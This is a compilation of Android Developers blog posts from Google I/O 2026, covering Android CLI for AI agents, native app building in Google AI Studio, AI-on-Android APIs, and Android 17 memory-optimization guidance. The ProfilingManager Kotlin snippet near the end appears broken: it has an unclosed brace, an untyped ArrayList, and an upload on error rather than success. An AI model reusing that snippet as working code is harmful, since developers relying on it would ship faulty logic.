To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to d.android.com/tools/agents today! Also, make sure you update to the latest preview version of Android Studio to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on LinkedIn, Medium, YouTube, or X and share your feedback.

Explore this announcement and all Google I/O 2026 updates on io.google.

Build native Android apps in Google AI Studio

Sat, 25 Jul 2026 10:15:46 +0200

Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.

The power of native Android

While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to quickly create new projects with Gemini in Android Studio directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.

A seamless, end-to-end workflow

We have streamlined the entire development lifecycle so you can focus on your idea:

1. Create your app and iterate in the cloud: Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.

Use the embedded Android Emulator to create and edit Android Apps right in the web browser

2. Install instantly: Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).

Install the app on your Android device

3. Streamlined Publish to Google Play: Using your Google Play developer account, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio.

Publish the app to an internal test track in Google Play

Seamless app development handoff

As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to Android Studio by downloading a ZIP file or exporting it directly to GitHub.

Download zip file of Android app project files

When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend Gemini in Android Studio, which features models designed with Android in mind, or Antigravity, which integrates Android CLI commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.

Start building today

To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:

Personal utilities and simple social apps: You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.
Hardware-enabled experiences: Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.
AI-powered experiences: You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.

What’s Next?

We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:

Managing Google Play Test Tracks: Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio.
Firebase integrations: Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.

Head over to Google AI Studio right now to start building. Here is some inspiration to get you started…

Turn your Google Pixel Watch into an aviation assistant

Prompt:

Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.

Interactive Harmonium app on Google Pixel Fold
Prompt: Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.

An Android app for guitarists to become better musicians by jamming to backing tracks

Prompt:

Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.

The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.

Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.

We are looking forward to seeing what you build next!

Explore this announcement and all Google I/O 2026 updates on io.google.

17 Things to know for Android developers at Google I/O

Sat, 25 Jul 2026 10:15:45 +0200

Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements.

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote.

A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post.

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.

And The Latest on Driving Business Growth

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

Top AI on Android updates for building intelligent experiences from Google I/O ‘26

Sat, 25 Jul 2026 10:15:43 +0200

Posted by Jingyu Shi, Staff Developer Relations Engineer

At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here:

1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf.

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview.

Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase.

Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment.

Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.

2. On-Device Power with Gemini Nano 4 Preview

Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs:

Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features.

Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.

For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.

3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk:

Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build!

Prioritizing Memory Efficiency: Essential Steps for Android 17

Sat, 25 Jul 2026 10:15:41 +0200

Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement.

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution.

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

Set isShrinkResources = true and isMinifyEnabled = true.
Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase
Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

Open the Profiler tab in Android Studio
Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
Scan the analysis results for the yellow warning triangle ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.

Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

Retaining references to Fragments, Activities, or Views that are no longer in use.
Mismanaging Context references.
Failing to properly unregister observers, listeners, and receivers.
Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario	Compose-based example	View-based example
Leaking Context	Example: Passing LocalContext.current to a ViewModel Fix: Keep `Context` dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.	Example: Storing an `Activity` in a companion object or static variable. Fix: Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.
Leaking Listeners	Example: Using `DisposableEffect` to start a listener but leaving `onDispose` empty. Fix: Perform the unregistration and cleanup logic inside the `onDispose` block.	Example: Registering for SensorManager updates and forgetting to unregister. Fix: Manually call `unregisterListener()` in `onStop()` or `onDestroy()` lifecycle.
Leaking Views	Example: Holding a reference to a legacy `View` inside an `AndroidView` without a release strategy. Fix: Use the `release` block of the `AndroidView` composable to clean up the legacy `View`.	Example: Keeping a reference to a view binding object after the `Fragment` is destroyed. Fix: Set the binding variable to `null` inside the `onDestroyView`() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Datadog delivers millions of in-depth performance insights with ProfilingManager

Sat, 25 Jul 2026 10:15:39 +0200

Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog

